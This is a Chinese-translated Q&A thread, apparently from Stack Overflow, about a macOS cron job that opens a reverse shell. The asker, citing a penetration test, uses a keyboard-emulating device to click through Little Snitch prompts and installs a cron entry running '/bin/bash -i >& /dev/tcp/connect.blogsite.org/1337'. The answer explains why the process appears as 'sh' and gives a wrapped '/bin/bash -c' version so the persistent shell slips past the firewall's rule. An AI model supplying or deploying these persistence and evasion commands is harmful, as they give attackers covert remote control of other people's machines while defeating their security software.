OS X: cron 作业调用 bash 但进程运行 'sh'

OS X: cron job invokes bash but process run is 'sh'

我正在做一个渗透测试项目,我想在其中打开一个反向 shell。我有一个设备可以触发 Little Snitch,然后将其设置为允许某些进程的出站连接。它通过发出反向 shell 命令来做到这一点,并且当 LS window 弹出时,充当键盘告诉 LS 始终允许这种类型的连接。我可以为 Bash、Perl、Python 和 Curl 成功地做到这一点。该设备还安装了一个 cron 作业,其中包含使用 bash.

的单行反向 shell

但是问题来了...

第一次运行 cron 作业时,Little Snitch 仍然会被触发,因为它看到了来自 'sh' 的出站连接 - 而不是 'bash'。然而该命令肯定会调用 bash。 cron 作业是:

*/5 * * * * /bin/bash -i >& /dev/tcp/connect.blogsite.org/1337 0>&1 &

后续连接来自 bash 或 sh - 我还没有检测到模式。

我尝试在原始设置中使用 /bin/sh 触发 LS,但在那个阶段它仍然被解释(即被 LS 看到)为 bash,而不是 sh(如,在 OS X 中,它们本质上是相同的东西,但行为略有不同,具体取决于调用方式)。

关于如何在 cron 作业中使用 sh 而不是 bash 停止 OS X 的任何想法。或者,我如何调用 sh 而不是 bash? (就像我说的,/bin/sh 不这样做!)。

命令字符串是/bin/bash -i >& /dev/tcp/connect.blogsite.org/1337 0>&1 &。 Cron 需要调用此命令。它不会解析命令字符串本身以了解第一个 "word" 是 /bin/bash 然后执行 /bin/bash,将其余参数传递给它。 (除其他事项外,并非命令的所有部分都是参数。)

相反,它调用 /bin/sh,第一个参数为 -c,第二个参数是您的命令字符串。这只是 运行 命令字符串的通用方法。

然后,/bin/sh 解释命令字符串。命令的一部分是重定向。这不是由命令启动的程序完成的。它由将启动该程序的 shell 完成。也就是说,/bin/sh 的实例必须在启动该子进程之前为其将要启动的子进程设置文件描述符。

因此,/bin/sh 打开 /dev/tcp/connect.blogsite.org/1337。然后它将文件描述符传递给它作为描述符 0 和 1 启动的子进程。(它可以在 execve() 之前使用 fork()dup2() 或者它可以使用 posix_spawn() 使用适当的文件操作。)

最终 /bin/bash 进程不会打开自己的输入或输出。它只是继承了它们,并且大概会继续使用它们。

您可以通过在命令字符串中使用另一个间接级别来解决此问题。基本上,使用 -c 和它自己的命令字符串调用 /bin/bash。像这样:

*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/connect.blogsite.org/1337 0>&1 &'

因此,/bin/sh 的初始实例不会打开文件。它会简单地生成一个 /bin/bash 的实例,参数为 -c 和命令字符串。 /bin/bash 的第一个实例将解释命令字符串,打开文件以执行重定向指令,然后生成 /bin/bash 的第二个实例,它将继承这些文件描述符。